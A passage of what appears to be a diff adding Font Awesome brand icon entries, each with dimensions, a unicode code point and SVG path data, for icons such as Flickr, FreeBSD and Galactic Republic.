4.76c-1.16-8.57-1.78-17.32-1.78-26.21 0-9 .63-17.84 1.82-26.51l82.38 4.77-77.94-27.16a191.726 191.726 0 0 1 20.23-48.67l74.22 35.92-61.52-54.86a193.85 193.85 0 0 1 37.28-37.22l54.76 61.53-35.83-74.17a191.49 191.49 0 0 1 48.65-20.13l26.87 77.25-4.71-81.61c8.61-1.18 17.39-1.8 26.32-1.8s17.71.62 26.32 1.8l-4.74 82.16 27.05-77.76c17.27 4.5 33.6 11.35 48.63 20.17l-35.82 74.12 54.72-61.47a193.13 193.13 0 0 1 37.24 37.23l-61.45 54.77 74.12-35.86a191.515 191.515 0 0 1 20.2 48.65l-77.81 27.1 82.24-4.75c1.19 8.66 1.82 17.5 1.82 26.49 0 8.88-.61 17.63-1.78 26.19l-82.12-4.75 77.72 27.09z"], + "firstdraft": [384, 512, [], "f3a1", "M384 192h-64v128H192v128H0v-25.6h166.4v-128h128v-128H384V192zm-25.6 38.4v128h-128v128H64V512h192V384h128V230.4h-25.6zm25.6 192h-89.6V512H320v-64h64v-25.6zM0 0v384h128V256h128V128h128V0H0z"], + "flickr": [448, 512, [], "f16e", "M400 32H48C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V80c0-26.5-21.5-48-48-48zM144.5 319c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5zm159 0c-35.1 0-63.5-28.4-63.5-63.5s28.4-63.5 63.5-63.5 63.5 28.4 63.5 63.5-28.4 63.5-63.5 63.5z"], + "flipboard": [448, 512, [], "f44d", "M0 32v448h448V32H0zm358.4 179.2h-89.6v89.6h-89.6v89.6H89.6V121.6h268.8v89.6z"], + "fly": [384, 512, [], "f417", "M197.8 427.8c12.9 11.7 33.7 33.3 33.2 50.7 0 .8-.1 1.6-.1 2.5-1.8 19.8-18.8 31.1-39.1 31-25-.1-39.9-16.8-38.7-35.8 1-16.2 20.5-36.7 32.4-47.6 2.3-2.1 2.7-2.7 5.6-3.6 3.4 0 3.9.3 6.7 2.8zM331.9 67.3c-16.3-25.7-38.6-40.6-63.3-52.1C243.1 4.5 214-.2 192 0c-44.1 0-71.2 13.2-81.1 17.3C57.3 45.2 26.5 87.2 28 158.6c7.1 82.2 97 176 155.8 233.8 1.7 1.6 4.5 4.5 6.2 5.1l3.3.1c2.1-.7 1.8-.5 3.5-2.1 52.3-49.2 140.7-145.8 155.9-215.7 7-39.2 3.1-72.5-20.8-112.5zM186.8 351.9c-28-51.1-65.2-130.7-69.3-189-3.4-47.5 11.4-131.2 69.3-136.7v325.7zM328.7 180c-16.4 56.8-77.3 128-118.9 170.3C237.6 298.4 275 217 277 158.4c1.6-45.9-9.8-105.8-48-131.4 88.8 18.3 115.5 98.1 99.7 153z"], + "font-awesome": [448, 512, [], "f2b4", "M400 32H48A48 48 0 0 0 0 80V432a48 48 0 0 0 48 48H400a48 48 0 0 0 48-48V80A48 48 0 0 0 400 32ZM336 312c-31.6 11.2-41.2 16-59.8 16-31.4 0-43.2-16-74.6-16a80 80 0 0 0-25.6 4V284a85.9 85.9 0 0 1 25.6-4c31.2 0 43.2 16 74.6 16 10.2 0 17.8-1.4 27.8-4.6v-96c-10 3.2-17.6 4.6-27.8 4.6-31.4 0-43.2-16-74.6-16-25.4 0-37.4 10.4-57.6 14.4V352a16 16 0 0 1-32 0V160a16 16 0 0 1 32 0v6.4c20.2-4 32.2-14.4 57.6-14.4 31.2 0 43.2 16 74.6 16 18.6 0 28.2-4.8 59.8-16Z"], + "font-awesome-alt": [448, 512, [], "f35c", "M400 32H48A48 48 0 0 0 0 80V432a48 48 0 0 0 48 48H400a48 48 0 0 0 48-48V80A48 48 0 0 0 400 32Zm16 400a16 16 0 0 1-16 16H48a16 16 0 0 1-16-16V80A16 16 0 0 1 48 64H400a16 16 0 0 1 16 16ZM201.6 152c-25.4 0-37.4 10.4-57.6 14.4V160a16 16 0 0 0-32 0V352a16 16 0 0 0 32 0V198.4c20.2-4 32.2-14.4 57.6-14.4 31.4 0 43.2 16 74.6 16 10.2 0 17.8-1.4 27.8-4.6v96c-10 3.2-17.6 4.6-27.8 4.6-31.4 0-43.4-16-74.6-16a85.9 85.9 0 0 0-25.6 4v32a80 80 0 0 1 25.6-4c31.4 0 43.2 16 74.6 16 18.6 0 28.2-4.8 59.8-16V152c-31.6 11.2-41.2 16-59.8 16C244.8 168 232.8 152 201.6 152Z"], + "font-awesome-flag": [448, 512, [], "f425", "M448 48V384c-63 23-82 32-119 32-63 0-87-32-150-32-20 0-36 4-51 8V328c15-4 31-8 51-8 63 0 87 32 150 32 20 0 35-3 55-9V135c-20 6-35 9-55 9-63 0-87-32-150-32-51 0-75 21-115 29V448a31.6 31.6 0 0 1-32 32A31.6 31.6 0 0 1 0 448V64A31.6 31.6 0 0 1 32 32 31.6 31.6 0 0 1 64 64V77c40-8 64-29 115-29 63 0 87 32 150 32C366 80 385 71 448 48Z"], + "font-awesome-logo-full": [3992, 512, ["Font Awesome"], "f4e6", "M1209.7 156.5c-57.8 0-102 43.9-102 99.1 0 56 44.6 99.1 102 99.1 57.4 0 102-43.1 102-99.1C1311.7 200.4 1267.5 156.5 1209.7 156.5Zm0 152.7c-35.1 0-51.8-27.4-51.8-53.2 0-25.8 16.7-53.2 51.8-53.2 35.1 0 51.8 27.8 51.8 53.2C1261.1 281.8 1244.8 309.2 1209.7 309.2Zm962.1-136.1c-4.4-10.9-12.3-16.5-23.5-16.5s-19.1 5.6-23.5 16.5l-59.4 145.8c-7.2 17.7 2.8 27.4 4.4 29a24.6 24.6 0 0 0 17.5 6.8c10.8 0 18.7-6 23.1-18.1l4-10.1h67.7l4 10.1c4.8 12.1 12.3 18.1 23.1 18.1a24.6 24.6 0 0 0 17.5-6.8c10-10.1 6.8-22.6 4.4-29Zm-43 113.6 19.1-56 19.1 56Zm-574.5-130.1c-14.3 0-24.7 10.9-24.7 25.4v76.5l-68.5-85.8c-4.4-5.6-11.6-16.1-25.5-16.1-19.1 0-24.3 17.7-24.3 25.4V329.7c0 14.1 10.4 25.4 24.7 25.4 14.3 0 24.7-10.9 24.7-25.4V252.8l68.9 86.2c4.8 5.6 11.6 16.1 25.5 16.1 19.1 0 23.9-17.3 23.9-25.4V181.9C1579 167.4 1568.6 156.5 1554.3 156.5Zm-554.1 1.6H916.5c-19.9 0-25.1 17.3-25.1 25.4V328.1c0 19.7 16.7 25.4 24.7 25.4 8 0 24.7-5.2 24.7-25.4V285h44.6c12.8 0 22.7-9.3 22.7-22.6 0-17.7-15.5-22.1-22.7-22.1H940.8V203.6h59.4c12.8 0 22.7-9.3 22.7-22.6C1022.9 163 1007.3 158.1 1000.2 158.1Zm815.1 0H1691.7c-7.2 0-22.7 4.4-22.7 22.2 0 13.3 10 22.6 22.7 22.6h37V327.7c0 14.1 10.4 25.4 24.7 25.4 14.3 0 24.7-10.9 24.7-25.4V202.8h37c12.7 0 22.7-9.3 22.7-22.6C1837.9 163 1822.4 158.1 1815.2 158.1Zm1789.5-1.6c-9.6 0-17.5 6-25.1 18.1l-46.6 76.1L3486.4 174.6q-10.8-18.1-25.1-18.1c-19.5 0-24.7 18.1-24.7 25.8V329.7c0 14.1 10.4 25.4 24.7 25.4s24.7-10.9 24.7-25.4V262.8L3510.7 302.7c6.4 10.1 13.9 15.3 22.3 15.3 8.8 0 15.9-5.2 22.3-15.3l24.7-39.9v66.9c0 14.1 10.3 25.4 24.7 25.4 14.3 0 24.7-10.9 24.7-25.4V182.3C3629.4 174.2 3624.6 156.5 3604.7 156.5Zm248.6 149.8h-65.7V272.9h39.4c11.9 0 21.1-8.9 21.1-20.9 0-12.1-9.2-20.9-21.1-20.9h-39.4V204.8h62.1c12.8 0 22.7-9.3 22.7-22.6 0-17.7-15.6-22.2-22.7-22.2h-86.4c-19.9 0-25.1 17.3-25.1 25.4V326.5c0 8.1 5.2 25.4 25.1 25.4h90c12.8 0 22.7-9.3 22.7-22.6C3876 311.2 3860.5 306.3 3853.3 306.3ZM3235 156.5c-57.8 0-102 43.9-102 99.1 0 56 44.6 99.1 102 99.1 57.4 0 102-43.1 102-99.1C3337 200.4 3292.8 156.5 3235 156.5Zm0 152.7c-35.1 0-51.8-27.4-51.8-53.2 0-25.8 16.7-53.2 51.8-53.2 35.1 0 51.8 27.8 51.8 53.2C3286.8 281.8 3270.1 309.2 3235 309.2ZM2550.2 156.5c-11.2 0-19.1 5.6-23.1 16.5l-34.3 94.7-31.5-92.2c-4.4-12.5-12.3-18.9-24.3-18.9-11.9 0-19.9 6.4-24.3 18.9l-31.5 92.2-34.3-95.5q-5.4-15.7-22.7-15.7c-6.8 0-12.3 2.4-17.5 7.3-5.2 5.2-10.8 14.5-4.8 28.6l55.8 145.8c4 11.3 11.6 16.9 23.1 16.9q16.7 0 22.7-16.9l33.5-91.8 33.5 91.8q6 16.9 22.7 16.9c11.2 0 19.1-5.6 23.1-16.9l55.8-145.8c3.6-9.3 4.4-19.3-4.8-28.6A23 23 0 0 0 2550.2 156.5Zm444.2 81-21.9-9.3c-11.9-4.8-16.3-8.5-16.3-15.7q0-12.1 16.7-12.1c12.7 0 19.5 7.7 24.3 10.9 7.2 5.2 18.3 6.8 27.9-2 10.8-10.5 6.8-23.8 1.2-30.6-12.3-14.9-30.3-22.2-53.8-22.2-19.1 0-35.1 5.2-47.4 15.7-12.3 10.5-18.7 24.2-18.7 41.1 0 24.2 15.9 43.5 47.8 57.6l19.5 8.9c15.9 6.8 19.1 9.7 19.1 17.7 0 9.3-6.4 14.1-19.5 14.1-19.1 0-34.7-14.9-36.3-16.1-10.8-7.3-21.5-2-26.3 2.8-6.8 6.4-12.7 20.9 3.2 36.2 6.8 6.4 15.5 11.7 26.7 15.3a94.6 94.6 0 0 0 32.7 5.6c19.9 0 36.7-5.2 49.8-16.1 13.1-10.9 19.5-25.4 19.5-43.5q0-20.5-12-33.8C3022.7 253.2 3010.7 244.3 2994.4 237.5Zm-206.4 68.9h-65.7V272.9h39.4c12 0 21.1-8.9 21.1-20.9 0-12.1-9.2-20.9-21.1-20.9h-39.4V204.8h62.1c12.8 0 22.7-9.3 22.7-22.6 0-17.7-15.5-22.2-22.7-22.2h-86.4c-19.9 0-25.1 17.3-25.1 25.4V326.5c0 8.1 5.2 25.4 25.1 25.4h90c12.7 0 22.7-9.3 22.7-22.6C2810.8 311.2 2795.2 306.3 2788 306.3ZM178.3 49.1c-50.5 0-74.4 20.7-114.6 28.7V65A31.8 31.8 0 1 0 0 65V447a31.8 31.8 0 0 0 63.7 0V141.4c40.2-8 64.1-28.7 114.6-28.7 62.5 0 86 31.8 148.4 31.8 20.3 0 35.4-2.8 55.3-9.2v191c-19.9 6.4-35 9.2-55.3 9.2-62.5 0-86.4-31.8-148.4-31.8-20.3 0-36.2 3.6-50.9 8V375.4a159.1 159.1 0 0 1 50.9-8c62.5 0 86 31.8 148.4 31.8 37 0 56.1-9.6 119-31.8V49.1C382.8 71.4 363.7 80.9 326.7 80.9 264.2 80.9 240.4 49.1 178.3 49.1Z"], + "fonticons": [448, 512, [], "f280", "M0 32v448h448V32zm187 140.9c-18.4 0-19 9.9-19 27.4v23.3c0 2.4-3.5 4.4-.6 4.4h67.4l-11.1 37.3H168v112.9c0 5.8-2 6.7 3.2 7.3l43.5 4.1v25.1H84V389l21.3-2c5.2-.6 6.7-2.3 6.7-7.9V267.7c0-2.3-2.9-2.3-5.8-2.3H84V228h28v-21c0-49.6 26.5-70 77.3-70 34.1 0 64.7 8.2 64.7 52.8l-50.7 6.1c.3-18.7-4.4-23-16.3-23zm74.3 241.8v-25.1l20.4-2.6c5.2-.6 7.6-1.7 7.6-7.3V271.8c0-4.1-2.9-6.7-6.7-7.9l-24.2-6.4 6.7-29.5h80.2v151.7c0 5.8-2.6 6.4 2.9 7.3l15.7 2.6v25.1zm80.8-255.5l9 33.2-7.3 7.3-31.2-16.6-31.2 16.6-7.3-7.3 9-33.2-21.8-24.2 3.5-9.6h27.7l15.5-28h9.3l15.5 28h27.7l3.5 9.6z"], + "fonticons-fi": [384, 512, [], "f3a2", "M114.4 224h92.4l-15.2 51.2h-76.4V433c0 8-2.8 9.2 4.4 10l59.6 5.6V483H0v-35.2l29.2-2.8c7.2-.8 9.2-3.2 9.2-10.8V278.4c0-3.2-4-3.2-8-3.2H0V224h38.4v-28.8c0-68 36.4-96 106-96 46.8 0 88.8 11.2 88.8 72.4l-69.6 8.4c.4-25.6-6-31.6-22.4-31.6-25.2 0-26 13.6-26 37.6v32c0 3.2-4.8 6-.8 6zM384 483H243.2v-34.4l28-3.6c7.2-.8 10.4-2.4 10.4-10V287c0-5.6-4-9.2-9.2-10.8l-33.2-8.8 9.2-40.4h110v208c0 8-3.6 8.8 4 10l21.6 3.6V483zm-30-347.2l12.4 45.6-10 10-42.8-22.8-42.8 22.8-10-10 12.4-45.6-30-36.4 4.8-10h38L307.2 51H320l21.2 38.4h38l4.8 13.2-30 33.2z"], + "fort-awesome": [512, 512, [], "f286", "M489.2 287.9h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6V146.2c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32h-36.6v-32c0-6-8-4.6-11.7-4.6v-38c8.3-2 17.1-3.4 25.7-3.4 10.9 0 20.9 4.3 31.4 4.3 4.6 0 27.7-1.1 27.7-8v-60c0-2.6-2-4.6-4.6-4.6-5.1 0-15.1 4.3-24 4.3-9.7 0-20.9-4.3-32.6-4.3-8 0-16 1.1-23.7 2.9v-4.9c5.4-2.6 9.1-8.3 9.1-14.3 0-20.7-31.4-20.8-31.4 0 0 6 3.7 11.7 9.1 14.3v111.7c-3.7 0-11.7-1.4-11.7 4.6v32h-36.6v-32c0-2.6-2-4.6-4.6-4.6h-27.4c-2.6 0-4.6 2-4.6 4.6v32H128v-32c0-2.6-2-4.6-4.6-4.6H96c-2.6 0-4.6 2-4.6 4.6v178.3H54.8v-32c0-2.6-2-4.6-4.6-4.6H22.8c-2.6 0-4.6 2-4.6 4.6V512h182.9v-96c0-72.6 109.7-72.6 109.7 0v96h182.9V292.5c.1-2.6-1.9-4.6-4.5-4.6zm-288.1-4.5c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64zm146.4 0c0 2.6-2 4.6-4.6 4.6h-27.4c-2.6 0-4.6-2-4.6-4.6v-64c0-2.6 2-4.6 4.6-4.6h27.4c2.6 0 4.6 2 4.6 4.6v64z"], + "fort-awesome-alt": [512, 512, [], "f3a3", "M208 237.4h-22.2c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7H208c2.1 0 3.7-1.6 3.7-3.7v-51.7c0-2.1-1.6-3.7-3.7-3.7zm118.2 0H304c-2.1 0-3.7 1.6-3.7 3.7v51.7c0 2.1 1.6 3.7 3.7 3.7h22.2c2.1 0 3.7-1.6 3.7-3.7v-51.7c-.1-2.1-1.7-3.7-3.7-3.7zm132-125.1c-2.3-3.2-4.6-6.4-7.1-9.5-9.8-12.5-20.8-24-32.8-34.4-4.5-3.9-9.1-7.6-13.9-11.2-1.6-1.2-3.2-2.3-4.8-3.5C372 34.1 340.3 20 306 13c-16.2-3.3-32.9-5-50-5s-33.9 1.7-50 5c-34.3 7.1-66 21.2-93.3 40.8-1.6 1.1-3.2 2.3-4.8 3.5-4.8 3.6-9.4 7.3-13.9 11.2-3 2.6-5.9 5.3-8.8 8s-5.7 5.5-8.4 8.4c-5.5 5.7-10.7 11.8-15.6 18-2.4 3.1-4.8 6.3-7.1 9.5C25.2 153 8.3 202.5 8.3 256c0 2 .1 4 .1 6 .1.7.1 1.3.1 2 .1 1.3.1 2.7.2 4 0 .8.1 1.5.1 2.3 0 1.3.1 2.5.2 3.7.1.8.1 1.6.2 2.4.1 1.1.2 2.3.3 3.5 0 .8.1 1.6.2 2.4.1 1.2.3 2.4.4 3.6.1.8.2 1.5.3 2.3.1 1.3.3 2.6.5 3.9.1.6.2 1.3.3 1.9l.9 5.7c.1.6.2 1.1.3 1.7.3 1.3.5 2.7.8 4 .2.8.3 1.6.5 2.4.2 1 .5 2.1.7 3.2.2.9.4 1.7.6 2.6.2 1 .4 2 .7 3 .2.9.5 1.8.7 2.7.3 1 .5 1.9.8 2.9.3.9.5 1.8.8 2.7.2.9.5 1.9.8 2.8s.5 1.8.8 2.7c.3 1 .6 1.9.9 2.8.6 1.6 1.1 3.3 1.7 4.9.4 1 .7 1.9 1 2.8.3 1 .7 2 1.1 3 .3.8.6 1.5.9 2.3l1.2 3c.3.7.6 1.5.9 2.2.4 1 .9 2 1.3 3l.9 2.1c.5 1 .9 2 1.4 3 .3.7.6 1.3.9 2 .5 1 1 2.1 1.5 3.1.2.6.5 1.1.8 1.7.6 1.1 1.1 2.2 1.7 3.3.1.2.2.3.3.5 2.2 4.1 4.4 8.2 6.8 12.2.2.4.5.8.7 1.2.7 1.1 1.3 2.2 2 3.3.3.5.6.9.9 1.4.6 1.1 1.3 2.1 2 3.2.3.5.6.9.9 1.4.7 1.1 1.4 2.1 2.1 3.2.2.4.5.8.8 1.2.7 1.1 1.5 2.2 2.3 3.3.2.2.3.5.5.7 37.5 51.7 94.4 88.5 160 99.4.9.1 1.7.3 2.6.4 1 .2 2.1.4 3.1.5s1.9.3 2.8.4c1 .2 2 .3 3 .4.9.1 1.9.2 2.9.3s1.9.2 2.9.3 2.1.2 3.1.3c.9.1 1.8.1 2.7.2 1.1.1 2.3.1 3.4.2.8 0 1.7.1 2.5.1 1.3 0 2.6.1 3.9.1.7.1 1.4.1 2.1.1 2 .1 4 .1 6 .1s4-.1 6-.1c.7 0 1.4-.1 2.1-.1 1.3 0 2.6 0 3.9-.1.8 0 1.7-.1 2.5-.1 1.1-.1 2.3-.1 3.4-.2.9 0 1.8-.1 2.7-.2 1-.1 2.1-.2 3.1-.3s1.9-.2 2.9-.3c.9-.1 1.9-.2 2.9-.3s2-.3 3-.4 1.9-.3 2.8-.4c1-.2 2.1-.3 3.1-.5.9-.1 1.7-.3 2.6-.4 65.6-11 122.5-47.7 160.1-102.4.2-.2.3-.5.5-.7.8-1.1 1.5-2.2 2.3-3.3.2-.4.5-.8.8-1.2.7-1.1 1.4-2.1 2.1-3.2.3-.5.6-.9.9-1.4.6-1.1 1.3-2.1 2-3.2.3-.5.6-.9.9-1.4.7-1.1 1.3-2.2 2-3.3.2-.4.5-.8.7-1.2 2.4-4 4.6-8.1 6.8-12.2.1-.2.2-.3.3-.5.6-1.1 1.1-2.2 1.7-3.3.2-.6.5-1.1.8-1.7.5-1 1-2.1 1.5-3.1.3-.7.6-1.3.9-2 .5-1 1-2 1.4-3l.9-2.1c.5-1 .9-2 1.3-3 .3-.7.6-1.5.9-2.2l1.2-3c.3-.8.6-1.5.9-2.3.4-1 .7-2 1.1-3s.7-1.9 1-2.8c.6-1.6 1.2-3.3 1.7-4.9.3-1 .6-1.9.9-2.8s.5-1.8.8-2.7c.2-.9.5-1.9.8-2.8s.6-1.8.8-2.7c.3-1 .5-1.9.8-2.9.2-.9.5-1.8.7-2.7.2-1 .5-2 .7-3 .2-.9.4-1.7.6-2.6.2-1 .5-2.1.7-3.2.2-.8.3-1.6.5-2.4.3-1.3.6-2.7.8-4 .1-.6.2-1.1.3-1.7l.9-5.7c.1-.6.2-1.3.3-1.9.1-1.3.3-2.6.5-3.9.1-.8.2-1.5.3-2.3.1-1.2.3-2.4.4-3.6 0-.8.1-1.6.2-2.4.1-1.1.2-2.3.3-3.5.1-.8.1-1.6.2-2.4.1 1.7.1.5.2-.7 0-.8.1-1.5.1-2.3.1-1.3.2-2.7.2-4 .1-.7.1-1.3.1-2 .1-2 .1-4 .1-6 0-53.5-16.9-103-45.8-143.7zM448 371.5c-9.4 15.5-20.6 29.9-33.6 42.9-20.6 20.6-44.5 36.7-71.2 48-13.9 5.8-28.2 10.3-42.9 13.2v-75.8c0-58.6-88.6-58.6-88.6 0v75.8c-14.7-2.9-29-7.3-42.9-13.2-26.7-11.3-50.6-27.4-71.2-48-13-13-24.2-27.4-33.6-42.9v-71.3c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7V326h29.6V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7H208c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-4.8 6.5-3.7 9.5-3.7V88.1c-4.4-2-7.4-6.7-7.4-11.5 0-16.8 25.4-16.8 25.4 0 0 4.8-3 9.4-7.4 11.5V92c6.3-1.4 12.7-2.3 19.2-2.3 9.4 0 18.4 3.5 26.3 3.5 7.2 0 15.2-3.5 19.4-3.5 2.1 0 3.7 1.6 3.7 3.7v48.4c0 5.6-18.7 6.5-22.4 6.5-8.6 0-16.6-3.5-25.4-3.5-7 0-14.1 1.2-20.8 2.8v30.7c3 0 9.5-1.1 9.5 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7v25.9h29.5V182c0-2.1 1.6-3.7 3.7-3.7h22.1c2.1 0 3.7 1.6 3.7 3.7v144h29.5v-25.8c0-2.1 1.6-3.7 3.7-3.7h22.2c2.1 0 3.7 1.6 3.7 3.7z"], + "forumbee": [448, 512, [], "f211", "M5.8 309.7C2 292.7 0 275.5 0 258.3 0 135 99.8 35 223.1 35c16.6 0 33.3 2 49.3 5.5C149 87.5 51.9 186 5.8 309.7zm392.9-189.2C385 103 369 87.8 350.9 75.2c-149.6 44.3-266.3 162.1-309.7 312 12.5 18.1 28 35.6 45.2 49 43.1-151.3 161.2-271.7 312.3-315.7zm15.8 252.7c15.2-25.1 25.4-53.7 29.5-82.8-79.4 42.9-145 110.6-187.6 190.3 30-4.4 58.9-15.3 84.6-31.3 35 13.1 70.9 24.3 107 33.6-9.3-36.5-20.4-74.5-33.5-109.8zm29.7-145.5c-2.6-19.5-7.9-38.7-15.8-56.8C290.5 216.7 182 327.5 137.1 466c18.1 7.6 37 12.5 56.6 15.2C240 367.1 330.5 274.4 444.2 227.7z"], + "foursquare": [368, 512, [], "f180", "M323.1 3H49.9C12.4 3 0 31.3 0 49.1v433.8c0 20.3 12.1 27.7 18.2 30.1 6.2 2.5 22.8 4.6 32.9-7.1C180 356.5 182.2 354 182.2 354c3.1-3.4 3.4-3.1 6.8-3.1h83.4c35.1 0 40.6-25.2 44.3-39.7l48.6-243C373.8 25.8 363.1 3 323.1 3zm-16.3 73.8l-11.4 59.7c-1.2 6.5-9.5 13.2-16.9 13.2H172.1c-12 0-20.6 8.3-20.6 20.3v13c0 12 8.6 20.6 20.6 20.6h90.4c8.3 0 16.6 9.2 14.8 18.2-1.8 8.9-10.5 53.8-11.4 58.8-.9 4.9-6.8 13.5-16.9 13.5h-73.5c-13.5 0-17.2 1.8-26.5 12.6 0 0-8.9 11.4-89.5 108.3-.9.9-1.8.6-1.8-.3V75.9c0-7.7 6.8-16.6 16.6-16.6h219c8.2 0 15.6 7.7 13.5 17.5z"], + "free-code-camp": [576, 512, [], "f2c5", "M97.22,96.21c10.36-10.65,16-17.12,16-21.9,0-2.76-1.92-5.51-3.83-7.42A14.81,14.81,0,0,0,101,64.05c-8.48,0-20.92,8.79-35.84,25.69C23.68,137,2.51,182.81,3.37,250.34s17.47,117,54.06,161.87C76.22,435.86,90.62,448,100.9,448a13.55,13.55,0,0,0,8.37-3.84c1.91-2.76,3.81-5.63,3.81-8.38,0-5.63-3.86-12.2-13.2-20.55-44.45-42.33-67.32-97-67.48-165C32.25,188.8,54,137.83,97.22,96.21ZM239.47,420.07c.58.37.91.55.91.55Zm93.79.55.17-.13C333.24,420.62,333.17,420.67,333.26,420.62Zm3.13-158.18c-16.24-4.15,50.41-82.89-68.05-177.17,0,0,15.54,49.38-62.83,159.57-74.27,104.35,23.46,168.73,34,175.23-6.73-4.35-47.4-35.7,9.55-128.64,11-18.3,25.53-34.87,43.5-72.16,0,0,15.91,22.45,7.6,71.13C287.7,364,354,342.91,355,343.94c22.75,26.78-17.72,73.51-21.58,76.55,5.49-3.65,117.71-78,33-188.1C360.43,238.4,352.62,266.59,336.39,262.44ZM510.88,89.69C496,72.79,483.52,64,475,64a14.81,14.81,0,0,0-8.39,2.84c-1.91,1.91-3.83,4.66-3.83,7.42,0,4.78,5.6,11.26,16,21.9,43.23,41.61,65,92.59,64.82,154.06-.16,68-23,122.63-67.48,165-9.34,8.35-13.18,14.92-13.2,20.55,0,2.75,1.9,5.62,3.81,8.38A13.61,13.61,0,0,0,475.1,448c10.28,0,24.68-12.13,43.47-35.79,36.59-44.85,53.14-94.38,54.06-161.87S552.32,137,510.88,89.69Z"], + "freebsd": [448, 512, [], "f3a4", "M303.7 96.2c11.1-11.1 115.5-77 139.2-53.2 23.7 23.7-42.1 128.1-53.2 139.2-11.1 11.1-39.4.9-63.1-22.9-23.8-23.7-34.1-52-22.9-63.1zM109.9 68.1C73.6 47.5 22 24.6 5.6 41.1c-16.6 16.6 7.1 69.4 27.9 105.7 18.5-32.2 44.8-59.3 76.4-78.7zM406.7 174c3.3 11.3 2.7 20.7-2.7 26.1-20.3 20.3-87.5-27-109.3-70.1-18-32.3-11.1-53.4 14.9-48.7 5.7-3.6 12.3-7.6 19.6-11.6-29.8-15.5-63.6-24.3-99.5-24.3-119.1 0-215.6 96.5-215.6 215.6 0 119 96.5 215.6 215.6 215.6S445.3 380.1 445.3 261c0-38.4-10.1-74.5-27.7-105.8-3.9 7-7.6 13.3-10.9 18.8z"], + "fulcrum": [320, 512, [], "f50b", "M95.75 164.14l-35.38 43.55L25 164.14l35.38-43.55zM144.23 0l-20.54 198.18L72.72 256l51 57.82L144.23 512V300.89L103.15 256l41.08-44.89zm79.67 164.14l35.38 43.55 35.38-43.55-35.38-43.55zm-48.48 47L216.5 256l-41.08 44.89V512L196 313.82 247 256l-51-57.82L175.42 0z"], + "galactic-republic": [496, 512, [], "f50c", "M248 504C111.25 504 0 392.75 0 256S111.25 8 248 8s248 111.25 248 248-111.25 248-248 248zm0-479.47C120.37 24.53 16.53 128.37 16.53 256S120.37 487.47 248 487.47 479.47 383.63 479.47 256 375.63 24.53 248 24.53zm27.62 21.81v24.62a185.933 185.933 0 0 1 83.57 34.54l17.39-17.36c-28.75-22.06-63.3-36.89-100.96-41.8zm-55.37.07c-37.64 4.94-72.16 19.8-100.88 41.85l17.28 17.36h.08c24.07-17.84 52.55-30.06 83.52-34.67V46.41zm12.25 50.17v82.87c-10.04 2.03-19.42 5.94-27.67 11.42l-58.62-58.59-21.93 21.93 58.67 58.67c-5.47 8.23-9.45 17.59-11.47 27.62h-82.9v31h82.9c2.02 10.02 6.01 19.31 11.47 27.54l-58.67 58.69 21.93 21.93 58.62-58.62a77.873 77.873 0 0 0 27.67 11.47v82.9h31v-82.9c10.05-2.03 19.37-6.06 27.62-11.55l58.67 58.69 21.93-21.93-58.67-58.69c5.46-8.23 9.47-17.52 11.5-27.54h82.87v-31h-82.87c-2.02-10.02-6.03-19.38-11.5-27.62l58.67-58.67-21.93-21.93-58.67 58.67c-8.25-5.49-17.57-9.47-27.62-11.5V96.58h-31zm183.24 30.72l-17.36 17.36a186.337 186.337 0 0 1 34.67 83.67h24.62c-4.95-37.69-19.83-72.29-41.93-101.03zm-335.55.13c-22.06 28.72-36.91 63.26-41.85 100.91h24.65c4.6-30.96 16.76-59.45 34.59-83.52l-17.39-17.39zM38.34 283.67c4.92 37.64 19.75 72.18 41.8 100.9l17.36-17.39c-17.81-24.07-29.92-52.57-34.51-83.52H38.34zm394.7 0c-4.61 30.99-16.8 59.5-34.67 83.6l17.36 17.36c22.08-28.74 36.98-63.29 41.93-100.96h-24.62zM136.66 406.38l-17.36 17.36c28.73 22.09 63.3 36.98 100.96 41.93v-24.64c-30.99-4.63-59.53-16.79-83.6-34.65zm222.53.05c-24.09 17.84-52.58 30.08-83.57 34.67v24.57c37.67-4.92 72.21-19.79 100.96-41.85l-17.31-17.39h-.08z"], + "galactic-senate": [512, 512, [], "f50d", "M249.86 33.48v26.07C236.28 80.17 226 168.14 225.39 274.9c11.74-15.62 19.13-33.33 19.13-48.24v-16.88c-.03-5.32.75-10.53 2.19-15.65.65-2.14 1.39-4.08 2.62-5.82 1.23-1.75 3.43-3.79 6.68-3.79 3.24 0 5.45 2.05 6.68 3.79 1.23 1.75 1.97 3.68 2.62 5.82 1.44 5.12 2.22 10.33 2.19 15.65v16.88c0 14.91 7.39 32.62 19.13 48.24-.63-106.76-10.91-194.73-24.49-215.35V33.48h-12.28zm-26.34 147.77c-9.52 2.15-18.7 5.19-27.46 9.08 8.9 16.12 9.76 32.64 1.71 37.29-8 4.62-21.85-4.23-31.36-19.82-11.58 8.79-21.88 19.32-30.56 31.09 14.73 9.62 22.89 22.92 18.32 30.66-4.54 7.7-20.03 7.14-35.47-.96-5.78 13.25-9.75 27.51-11.65 42.42 9.68.18 18.67 2.38 26.18 6.04 17.78-.3 32.77-1.96 40.49-4.22 5.55-26.35 23.02-48.23 46.32-59.51.73-25.55 1.88-49.67 3.48-72.07zm64.96 0c1.59 22.4 2.75 46.52 3.47 72.07 23.29 11.28 40.77 33.16 46.32 59.51 7.72 2.26 22.71 3.92 40.49 4.22 7.51-3.66 16.5-5.85 26.18-6.04-1.9-14.91-5.86-29.17-11.65-42.42-15.44 